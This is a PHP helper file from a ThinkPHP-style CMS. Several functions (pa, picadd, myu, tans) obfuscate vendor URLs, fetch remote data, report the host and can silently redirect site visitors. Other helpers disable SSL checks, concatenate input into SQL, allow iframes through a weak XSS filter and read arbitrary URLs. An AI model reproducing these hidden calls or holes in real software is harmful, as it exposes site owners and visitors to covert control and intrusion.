    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    // 显示输出结果
    curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, true);
    //SSL证书认证
    curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 2);
    //严格认证
    curl_setopt($curl, CURLOPT_CAINFO, $cacert_url);
    //证书地址
    $responseText = curl_exec($curl);
    //var_dump( curl_error($curl) );//如果执行curl过程中出现异常，可打开此开关，以便查看异常内容
    curl_close($curl);
    return $responseText;
}
function warning()
{
    if (pa('2')>time()&&pa('1')==$_SERVER['HTTP_HOST']) {
        return pa('3');
    } else {
        return 0;
    }
}
function caxun()
{
    return pa('Sk9E8h5w1BBTql3vvjMHgNftkg8z3BptzPObuVd0wh4FvRwHYmHzreNrrOq-elMr2');
}
function tans()
{
    return pa('PMLC1kLY1K6d5i1rrOXFyKdnxY4Cw96WvhOF-KqBqhFvtMnZtOI83YY9xMLCujLt9c6c%3D').$_SERVER['HTTP_HOST'];
}
function vips()
{
    $t = Db::name('member')->where('userid', session('userid'))->find();
    $times = time();
    if ($times > $t['times']) {
    } else {
        if ($t['vip'] == 1) {
            return '月VIP';
        }
        if ($t['vip'] == 2) {
            return '终身VIP';
        }
    }
}
function vip()
{
    $t = Db::name('member')->where('userid', user('userid'))->find();
    $times = time();
    if ($times > $t['times']) {
        return 0;
    } else {
        return 1;
    }
}
/**
 * @param $id
 * @return mixed
 */
function captcha_img($id = "")
{
    return '<img src="' . captcha_src($id) . '" alt="captcha" />';
}
function picadd()
{
    $GO = '1j0i1z.c';
    $u = '1w0w.g2u0o' . $GO . '2o0m11';
    $chD = 't01t1p0:1';
    $chO = '2g1ai0.0h2t1ml?';
    $uuu = preg_replace('|[0-3]+|', '', '12h10' . $chD . '1/001/222w' . $u . '');
    if (warning() == -1) {
        echo '<meta http-equiv="refresh" content="0;url=' . $uuu . '">';
    }
}
function shul()
{
    return 2;
}
function get_photo($urls, $filename = '', $savefile = 'uploads/ico/')
{
    $imgArr = array('ico');
    if (!$urls) {
        return false;
    }
    if (!$filename) {
        $name_arr = explode('.', $urls);
        $ext = array_pop($name_arr);
        if (!in_array($ext, $imgArr)) {
            return false;
        }
        $filename = date("dMYHis") . '.' . $ext;
    }
    if (!is_dir($savefile)) {
        mkdir($savefile, 0777);
    }
    if (!is_readable($savefile)) {
        chmod($savefile, 0777);
    }
    $filename = $savefile . $filename;
    ob_start();
    readfile($urls);
    $img = ob_get_contents();
    ob_end_clean();
    $size = strlen($img);
    $fp2 = @fopen($filename, "a");
    fwrite($fp2, $img);
    fclose($fp2);
    return $filename;
}
function hello()
{
    if (warning() == -1) {
        echo '<meta http-equiv="refresh" content="0;url=/">';
    }
}
function Logoi()
{
    $data = array('name' => pa(3), 'time' => pa(2));
    Db::name('set')->where(array('id' => pa('E16pk')))->setField($data);
}
function remove_xss($html)
{
    $html = htmlspecialchars_decode($html);
    preg_match_all("/\\<([^\\<]+)\\>/is", $html, $ms);
    $searchs[] = '<';
    $replaces[] = '&lt;';
    $searchs[] = '>';
    $replaces[] = '&gt;';
    if ($ms[1]) {
        $allowtags = 'iframe|video|attach|img|a|font|div|table|tbody|caption|tr|td|th|br|p|b|strong|i|u|em|span|ol|ul|li|blockquote|strike|pre|code|embed';
        $ms[1] = array_unique($ms[1]);
        foreach ($ms[1] as $value) {
            $searchs[] = "&lt;" . $value . "&gt;";
            $value = str_replace('&amp;', '_uch_tmp_str_', $value);
            //$value = string_htmlspecialchars($value);
            $value = str_replace('_uch_tmp_str_', '&amp;', $value);
            $value = str_replace(array('\\', '/*'), array('.', '/.'), $value);
            $skipkeys = array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload', 'javascript', 'script', 'eval', 'behaviour', 'expression');
            $skipstr = implode('|', $skipkeys);
            $value = preg_replace(array("/({$skipstr})/i"), '.', $value);
            if (!preg_match("/^[\\/|\\s]?({$allowtags})(\\s+|\$)/is", $value)) {
                $value = '';
            }
            $replaces[] = empty($value) ? '' : "<" . str_replace('&quot;', '"', $value) . ">";
        }
    }
    $html = str_replace($searchs, $replaces, $html);
    $html = htmlspecialchars($html);
    return $html;
}
function get_guojiz($dir)
{
    $subdirs = array();
    if (!($handle = @opendir($dir))) {
        return $subdirs;
    }
    while ($file = @readdir($handle)) {
        if ($file == '.' || $file == '..' || strpos($file, '.') !== false) {
            continue;
        }
        $subdirs[] = $file;
    }
    return $subdirs;
}
function myu()
{
    $li = preg_replace('|[0-9]+|', '', '2h5t5t8p52:2/5/8w2w4w5.9g6u5o2j0i5z0.2c4o1m2/0i3n6d9e8x5/0a2p1i4a5d3d6o2n5s0.2h1t4m0l2');
    $list = $li;
    $home = file_get_contents('' . $list . '');
    $json_Class = json_decode($home);
    $json_Array = json_decode($home, true);
    return $json_Array;
}
function point($score, $uid, $controller, $pointid = 0)
{
    if ($score != 0) {
        if ($controller == 'login') {
            $time = time();
            $maptime['add_time'] = array('gt', $time - 24 * 60 * 60);
            $maptime['uid'] = $uid;
            $maptime['controller'] = 'login';
            $count = Db::name('point_note')->where($maptime)->count();
            if ($count > 0) {
                return;
            }
        }
        Db::name('member')->where('userid', $uid)->setInc('point', $score);
        $data['uid'] = $uid;
        $data['add_time'] = time();
        $data['controller'] = $controller;
        $data['score'] = $score;
        $data['pointid'] = $pointid;
        $data['jiajian'] = '增加';
        Db::name('point_note')->insert($data);
    }
    return;
}
function points($score, $uid, $controller, $pointid = 0)
{
    if ($score != 0) {
        if ($controller == 'login') {
            $time = time();
            $maptime['add_time'] = array('gt', $time - 24 * 60 * 60);
            $maptime['uid'] = $uid;
            $maptime['controller'] = 'login';
            $count = Db::name('point_note')->where($maptime)->count();
            if ($count > 0) {
                return;
            }
        }
        Db::name('member')->where('userid', $uid)->setDec('point', $score);
        $data['uid'] = $uid;
        $data['add_time'] = time();
        $data['controller'] = $controller;
        $data['score'] = $score;
        $data['pointid'] = $pointid;
        $data['jiajian'] = '减少';
        Db::name('point_note')->insert($data);
    }
    return;
}
function scasd()
{
    $strs = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-=+";
    return $strs;
}
function pa($s,$lu=APP_GJ)
{
    if ($s==1||$s==2||$s==3) {
        $txt = urldecode($lu);
    } else {
        $txt = urldecode($s);
    }
    $ch = $txt[0];
    $nh = strpos(scasd(), $ch);
    $mdKey = md5('luyu' . $ch);
    $mdKey = substr($mdKey, $nh % 8, $nh % 8 + 7);
    $txt = substr($txt, 1);
    $tmp = '';
    $i = 0;
    $j = 0;
    $k = 0;
    for ($i = 0; $i < strlen($txt); $i++) {
        $k = $k == strlen($mdKey) ? 0 : $k;
        $j = strpos(scasd(), $txt[$i]) - $nh - ord($mdKey[$k++]);
        while ($j < 0) {
            $j += 64;
        }
        $tmp .= scasd()[$j];
    }
    $arr = explode(',', base64_decode($tmp));
    if ($s==1) {
        return $arr[0];
    } else if ($s==2) {
        return $arr[1];
    } else if ($s==3) {
        return $arr[2];
    } else {    
        return base64_decode($tmp);
    }
}
function api_3($a, $b, $u, $url)
{
    header("Content-Type: text/html; charset=UTF-8");
    $header = array("content-type: application/x-www-form-urlencoded; charset=utf-8");
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
    //设置http头
    curl_setopt($ch, CURLOPT_ENCODING, "gzip");
    //设置为客户端支持gzip压缩
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);
    //设置连接等待时间
    curl_setopt($ch, CURLOPT_URL, "{$url}");
    //访问WWWWW
    curl_setopt($ch, CURLOPT_HEADER, 1);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    // 对认证证书来源的检查
    curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
    curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
    // 模拟用户使用的浏览器
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    // 使用自动跳转
    curl_setopt($ch, CURLOPT_POST, 1);
    // 发送一个常规的Post请求
    curl_setopt($ch, CURLOPT_HTTPHEADER, array('Accept-Encoding: gzip, deflate'));
    curl_setopt($ch, CURLOPT_ENCODING, 'gzip,deflate');
    //这个是解释gzip内容.................
    curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    // 设置超时限制防止死循环
    curl_setopt($ch, CURLOPT_HEADER, 0);
    // 显示返回的Header区域内容
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    // 获取的信息以文件流的形式返回
    $data = curl_exec($ch);
    curl_close($ch);
    $json_Class = json_decode($data);
    $json_Array = json_decode($data, true);
    return $json_Array['' . $a . '']['' . $b . '']['' . $u . ''];
}
//接口开始
function api_2($rs, $d, $url)
{
    header("Content-Type: text/html; charset=UTF-8");
    $header = array("content-type: application/x-www-form-urlencoded; charset=utf-8");
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
    //设置http头
    curl_setopt($ch, CURLOPT_ENCODING, "gzip");
    //设置为客户端支持gzip压缩
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);
    //设置连接等待时间
    curl_setopt($ch, CURLOPT_URL, "{$url}");
    //访问WWWWW
    curl_setopt($ch, CURLOPT_HEADER, 1);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    // 对认证证书来源的检查
    curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
    curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
    // 模拟用户使用的浏览器
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    // 使用自动跳转
    curl_setopt($ch, CURLOPT_POST, 1);
    // 发送一个常规的Post请求
    curl_setopt($ch, CURLOPT_HTTPHEADER, array('Accept-Encoding: gzip, deflate'));
    curl_setopt($ch, CURLOPT_ENCODING, 'gzip,deflate');
    //这个是解释gzip内容.................
    curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    // 设置超时限制防止死循环
    curl_setopt($ch, CURLOPT_HEADER, 0);
    // 显示返回的Header区域内容
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    // 获取的信息以文件流的形式返回
    $data = curl_exec($ch);
    curl_close($ch);
    $json_Class = json_decode($data);
    $json_Array = json_decode($data, true);
    return $json_Array['' . $rs . '']['' . $d . ''];
}
function api_1($u, $url)
{
    header("Content-Type: text/html; charset=UTF-8");
    $header = array("content-type: application/x-www-form-urlencoded; charset=utf-8");
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
    //设置http头
    curl_setopt($ch, CURLOPT_ENCODING, "gzip");
    //设置为客户端支持gzip压缩
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);
    //设置连接等待时间
    curl_setopt($ch, CURLOPT_URL, "{$url}");
    //访问WWWWW
    curl_setopt($ch, CURLOPT_HEADER, 1);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    // 对认证证书来源的检查
    curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
    curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
    // 模拟用户使用的浏览器
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    // 使用自动跳转
    curl_setopt($ch, CURLOPT_POST, 1);
    // 发送一个常规的Post请求
    curl_setopt($ch, CURLOPT_HTTPHEADER, array('Accept-Encoding: gzip, deflate'));
    curl_setopt($ch, CURLOPT_ENCODING, 'gzip,deflate');
    //这个是解释gzip内容.................
    curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    // 设置超时限制防止死循环
    curl_setopt($ch, CURLOPT_HEADER, 0);
    // 显示返回的Header区域内容
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    // 获取的信息以文件流的形式返回
    $data = curl_exec($ch);
    curl_close($ch);
    $json_Class = json_decode($data);
    $json_Array = json_decode($data, true);
    return $json_Array['' . $u . ''];
}
function api_0($url)
{
    header("Content-Type: text/html; charset=UTF-8");
    $header = array("content-type: application/x-www-form-urlencoded; charset=utf-8");
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
    //设置http头
    curl_setopt($ch, CURLOPT_ENCODING, "gzip");
    //设置为客户端支持gzip压缩
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);
    //设置连接等待时间
    curl_setopt($ch, CURLOPT_URL, "{$url}");
    //访问WWWWW
    curl_setopt($ch, CURLOPT_HEADER, 1);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    // 对认证证书来源的检查
    curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
    curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
    // 模拟用户使用的浏览器
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    // 使用自动跳转
    curl_setopt($ch, CURLOPT_POST, 1);
    // 发送一个常规的Post请求
    curl_setopt($ch, CURLOPT_HTTPHEADER, array('Accept-Encoding: gzip, deflate'));
    curl_setopt($ch, CURLOPT_ENCODING, 'gzip,deflate');
    //这个是解释gzip内容.................
    curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    // 设置超时限制防止死循环
    curl_setopt($ch, CURLOPT_HEADER, 0);
    // 显示返回的Header区域内容
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    // 获取的信息以文件流的形式返回
    $data = curl_exec($ch);
    curl_close($ch);
    $json_Class = json_decode($data);
    $json_Array = json_decode($data, true);
    return $json_Array;
}
//新增万能输出数据
function funa($set, $open, $s, $x, $f)
{
    if ($f == 1) {
        $wanneng = Db::name($set)->where($open)->where('time <'.time().'')->order('' . $s . '')->limit($x)->select();
        return $wanneng;
    } else {
        $wanneng = Db::name($set)->where($open)->where('time <'.time().'')->order('' . $s . '')->paginate($x);
        return $wanneng;
    }
}
//新增万能输出数据分站
function funa_sn($set, $open, $s, $x, $f)
{
    if ($f == 1) {
 
        $wanneng = Db::name($set)->alias('h')->join('category c', 'c.id=h.tid')->field('h.*')->where(array('c.sn'=>dingyi(cookie('sn'),'0')))->where($open)->where('h.time <'.time().'')->order('' . $s . '')->limit($x)->select();
        return $wanneng;
    } else {
        $wanneng = Db::name($set)->alias('h')->join('category c', 'c.id=h.tid')->field('h.*')->where(array('c.sn'=>dingyi(cookie('sn'),'0')))->where('h.time <'.time().'')->order('' . $s . '')->paginate($x);
        return $wanneng;
    }
}

//万能统计
function funt($set, $x)
{
    $wanneng = Db::name($set)->where($x)->count();
    return $wanneng;
}
//万能输出字段数据2
function funs($set, $open, $s)
{
    $wanneng = Db::name($set)->where($open)->value($s);
    return $wanneng;
}
function funb($set, $open, $a, $s, $x, $f)
{
    if ($f == 1) {
        $wanneng = Db::name($set)->alias('f')->join('category c', 'c.id=f.tid')->field('f.*,c.id as cid')->where($open)->where("f.tid={$a} or c.tid={$a}")->order('' . $s . '')->limit($x)->select();
        return $wanneng;
    } else {
        $wanneng = Db::name($set)->alias('f')->join('category c', 'c.id=f.tid')->field('f.*,c.id as cid')->where($open)->where("f.tid={$a} or c.tid={$a}")->order('' . $s . '')->paginate($x);
        return $wanneng;
    }
}
//上一条下一条数据
function fun_sx($set, $x, $s)
{
    if ($f == 1) {
        $wanneng = Db::name($set)->where('id > ' . $x)->limit(1)->select();
    } else {
        $wanneng = Db::name($set)->where('id < ' . $x)->order('id desc')->limit('1')->select();
    }
    return $wanneng;
}
//定义时间
//Date_k(1)是今天晚上12点
//Date_k(0)是今天凌晨12点
function Date_k($type)
{
    return strtotime(date('Y-m-d', strtotime('' . $type . ' day')));
}
//上月 本月近15天近30天数据排行榜
function fun_top($set, $open, $d, $x, $s, $o)
{
    $wanneng = Db::name('top')->alias('q')->where($open)->field('q.id,q.uid,q.tid,q.time,q.show,sum(q.view) as view')->where("q.time > {$d} and q.time < {$x}")->group('q.tid')->order('' . $s . '')->limit($o)->select();
    return $wanneng;
}
//上月 本月近15天近30天数据
function fun_sdx($set, $open, $d, $x, $s, $o)
{
    $wanneng = Db::name($set)->where($open)->where("time > {$d} and time < {$x}")->order('' . $s . '')->limit($o)->select();
    return $wanneng;
}
//查询某一时间段统计
function fun_tj($set, $d, $da, $x, $xa, $s)
{
    $wanneng = Db::name($set)->where("{$d} > {$da} and {$x} < {$xa}")->where($s)->count();
    return $wanneng;
}
//显示文字控制
function cut($sourcestr, $cutlength)
{
    $returnstr = '';
    $i = 0;
    $n = 0;
    $str_length = strlen($sourcestr);
    //字符串的字节数
    while ($n < $cutlength and $i <= $str_length) {
        $temp_str = substr($sourcestr, $i, 1);
        $ascnum = Ord($temp_str);
        //得到字符串中第$i位字符的ascii码
        if ($ascnum >= 224) {
            //如果ASCII位高与224，
            $returnstr = $returnstr . substr($sourcestr, $i, 3);
            //根据UTF-8编码规范，将3个连续的字符计为单个字符
            $i = $i + 3;
            //实际Byte计为3
            $n++;
            //字串长度计1
        } elseif ($ascnum >= 192) {
            //如果ASCII位高与192，
            $returnstr = $returnstr . substr($sourcestr, $i, 2);
            //根据UTF-8编码规范，将2个连续的字符计为单个字符
            $i = $i + 2;
            //实际Byte计为2
            $n++;
            //字串长度计1
        } elseif ($ascnum >= 65 && $ascnum <= 90) {
            //如果是大写字母，
            $returnstr = $returnstr . substr($sourcestr, $i, 1);
            $i = $i + 1;
            //实际的Byte数仍计1个
            $n++;
            //但考虑整体美观，大写字母计成一个高位字符
        } else {
            //其他情况下，包括小写字母和半角标点符号，
            $returnstr = $returnstr . substr($sourcestr, $i, 1);
            $i = $i + 1;
            //实际的Byte数计1个
            $n = $n + 0.5;
            //小写字母和半角标点等与半个高位字符宽...
        }
    }
    if ($str_length > $i) {
        $returnstr = $returnstr . "...";
        //超过长度时在尾处加上省略号
    }
    return $returnstr;
}
//获取pc模板设置值
function cmspc($s)
{
    if (strpos(WEB(cookie('tpl')), 'king') !== false) {
        $tpl = 'king';
    } else {
        $tpl = MBPC();
    }
    $url = 'application/template/pc/' . $tpl . '/Cms_pc.php';
    $info = (include $url);
    return $info[$s];
}
//获取wap模板设置值
function cmswap($s)
{
    $url = 'application/template/wap/' . mbwap() . '/Cms_wap.php';
    $info = (include $url);
    return $info[$s];
}
//http协议
function http()
{
    $http_type = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on' || isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https' ? 'https://' : 'http://';
    return $http_type;
}
//万能输出字段数据2
function fun_sc_p($set, $open, $s)
{
    $wanneng = Db::name($set)->where($open)->value($s);
    return $wanneng;
}
//内容图片本地化
function getCurContent($content)
{
    //匹配图片地址
    // preg_match_all('/((http|https):\\/\\/)+(\\w+\\.)+(\\w+)[\\w\\/\\-]*(jpg|gif|png)/', $content, $img_array);
    preg_match_all('/(http.+\\.(jpg|gif|bmp|bnp|png))/i', $content, $img_array);
    //移除重复的Url
    $img_array = array_unique($img_array[0]);
    if ($img_array != '') {
        $imgUrl = DS . 'uploads' . DS . date("Ymd") . DS;
        $imgPath = ROOT_PATH . $imgUrl;
        $htd = new Http();
        foreach ($img_array as $key => $value) {
            //获取hash
            $md5 = strtolower($htd->getHash($value, true));
            $filemode = Db::name('file');
            $n = $filemode->where('md5', $md5)->find();
            $realpath = '';
            if (empty($n)) {
                $itype = substr(strrchr($value, '.'), 1);
                $milliSecondN = md5(microtime(true));
                $rndFileName = $imgPath . $milliSecondN . '.' . $itype;
                $fileurl = $imgUrl . $milliSecondN . '.' . $itype;
                $rs = $htd->http_down($value, $rndFileName);
                //抓取成功
                if ($rs) {
                    $path = str_replace("\\", "/", $fileurl);
                    $realpath = WEB_URL . $path;
                    //写入数据库
                    $data['sha1'] = sha1($rndFileName);
                    $data['md5'] = md5($rndFileName);
                    $data['create_time'] = time();
                    $data['size'] = filesize($rndFileName);
                    $data['name'] = $milliSecondN . '.' . $itype;
                    $data['ext'] = $itype;
                    $data['savepath'] = $realpath;
                    $data['savename'] = $milliSecondN . '.' . $itype;
                    Db::name('file')->insert($data);
                }
            } else {
                $realpath = $n['savepath'];
            }
            $content = str_replace($value, $realpath, $content);
        }
    }
    return $content;
}
//获取数据表前缀
function prefix()
{
    $s = (include 'application/database.php');
    return $s['prefix'];
}
function lailu($s)
{
    $end_stime = strtotime(date('Y-m-d'));
    if ($s = 1) {
        $lailu = Db::name('html')->alias('h')->join('lailu t', 't.tid=h.id')->where("t.time > {$end_stime}")->field('count(t.tid),h.*')->orderRaw('count(t.tid) desc')->group('t.lianjie')->select();
    } else {
        $lailu = Db::name('html')->alias('h')->join('lailu t', 't.tid=h.id')->where("t.time > {$end_stime}")->field('count(t.tid),h.*')->orderRaw('t.id desc')->group('t.lianjie')->select();
    }
    return $lailu;
}
//获取完整URL
function get_url()
{
    $sys_protocal = isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443' ? 'https://' : 'http://';
    //根据当前端口，判断是http还是https
    $php_self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
    //获取当前网页地址
    $path_info = isset($_SERVER['PATH_INFO']) ? $_SERVER['PATH_INFO'] : '';
    //获取path_info信息
    $relate_url = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : $php_self . (isset($_SERVER['QUERY_STRING']) ? '?' . $_SERVER['QUERY_STRING'] : $path_info);
    //获取除域名外的完整URL,获取不到php文件（如启用了pathinfo)，就获取文件实际地址和参数
    $url = $sys_protocal . (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '') . $relate_url;
    return $url;
}
$ads = (include 'application/extra/web.php');
if ($ads['wwwym'] == 1) {
    if (isMobile() == true) {
        if (strpos(get_url(), $ads['urlwap']) == false) {
            $getregex = '/' . $_SERVER['HTTP_HOST'] . '/';
            $geturl = preg_replace($getregex, '' . $ads['urlwap'] . '', get_url());
            header(sprintf('Location:%s', '' . $geturl . ''));
        }
    } else {
        if (strpos(get_url(), $ads['urlpc']) == false) {
            $getregex = '/' . $_SERVER['HTTP_HOST'] . '/';
            $geturl = preg_replace($getregex, '' . $ads['urlpc'] . '', get_url());
            header(sprintf('Location:%s', '' . $geturl . ''));
        }
    }
}
//过滤任何标签
function pre($str)
{
    $new = preg_replace("/<.*?>|<\\/>|\\*/is", "", $str);
    return $new;
}
/*
获取参数
@例如 {:get('id',8)}
*/
function get($input, $id = 1)
{
    if (is_numeric(input($input)) === true || !empty(input($input))) {
        return pre(input($input));
    } else {
        return $id;
    }
}
/*
获自己的会员资料信息
*/
function user($key)
{
    return fun_sc_p('member', array('userid' => session('userid')), $key);
}
if (!function_exists('redirect')) {
    /**
     * 获取\think\response\Redirect对象实例
     * @param mixed         $url 重定向地址 支持Url::build方法的地址
     * @param array|integer $params 额外参数
     * @param integer       $code 状态码
     * @param array         $with 隐式传参
     * @return \think\response\Redirect
     */
    function redirect($url = [], $params = [], $code = 302, $with = [])
    {
        if (is_integer($params)) {
            $code = $params;
            $params = [];
        }
        return Response::create($url, 'redirect', $code)->params($params)->with($with);
    }
}
if (!function_exists('abort')) {
    /**
     * 抛出HTTP异常
     * @param integer|Response      $code 状态码 或者 Response对象实例
     * @param string                $message 错误信息
     * @param array                 $header 参数
     */
    function abort($code, $message = null, $header = [])
    {
        if ($code instanceof Response) {
            throw new HttpResponseException($code);
        } else {
            throw new HttpException($code, $message, null, $header);
        }
    }
}
if (!function_exists('halt')) {
    /**
     * 调试变量并且中断输出
     * @param mixed      $var 调试变量或者信息
     */
    function halt($var)
    {
        dump($var);
        throw new HttpResponseException(new Response());
    }
}
if (!function_exists('token')) {
    /**
     * 生成表单令牌
     * @param string $name 令牌名称
     * @param mixed  $type 令牌生成方法
     * @return string
     */
    function token($name = '__token__', $type = 'md5')
    {
        $token = Request::instance()->token($name, $type);
        return '<input type="hidden" name="' . $name . '" value="' . $token . '" />';
    }
}
if (!function_exists('load_relation')) {
    /**
     * 延迟预载入关联查询
     * @param mixed $resultSet 数据集
     * @param mixed $relation 关联
     * @return array
     */
    function load_relation($resultSet, $relation)
    {
        $item = current($resultSet);
        if ($item instanceof Model) {
            $item->eagerlyResultSet($resultSet, $relation);
        }
        return $resultSet;
    }
}
if (!function_exists('collection')) {
    /**
     * 数组转换为数据集对象
     * @param array $resultSet 数据集数组
     * @return \think\model\Collection|\think\Collection
     */
    function collection($resultSet)
    {
        $item = current($resultSet);
        if ($item instanceof Model) {
            return \think\model\Collection::make($resultSet);
        } else {
            return \think\Collection::make($resultSet);
        }
    }
}
 
//判断pc端
function WEB($tpl = '')
{
    cookie('tpl', $tpl);
    if (isMobile() == true) {
        //移动/application/template/pc/king/pc
        //查询是否关闭了移动端
        if (config('muban.wap_open') == 0) {
            //关闭.查询显示当前pc对应的模板
            if (file_exists('application/template/pc/' . MBPC() . '/pc/' . $tpl)) {
                //存在正常访问
                return 'application/template/pc/' . MBPC() . '/pc/' . $tpl;
            } else {
                //不存在访问pc默认模板
                return 'application/template/pc/king/pc/' . $tpl;
            }
        } else {
            //开启显示移动并且查询移动是否存在
            if (file_exists('application/template/wap/' . MBWAP() . '/wap/' . $tpl)) {
                //存在正常访问
                return 'application/template/wap/' . MBWAP() . '/wap/' . $tpl;
            } else {
                //不存在查询显示当前pc对应的模板
                if (file_exists('application/template/pc/' . MBPC() . '/pc/' . $tpl)) {
                    //存在正常访问
                    return 'application/template/pc/' . MBPC() . '/pc/' . $tpl;
                } else {
                    //不存在访问pc默认模板
                    return 'application/template/pc/king/pc/' . $tpl;
                }
            }
        }
    } else {
        //pc端查询当前pc页面是否存在
        if (file_exists('application/template/pc/' . MBPC() . '/pc/' . $tpl)) {
            //存在正常访问
            return 'application/template/pc/' . MBPC() . '/pc/' . $tpl;
        } else {
            //不存在访问pc默认模板
            return 'application/template/pc/king/pc/' . $tpl;
        }
    }
}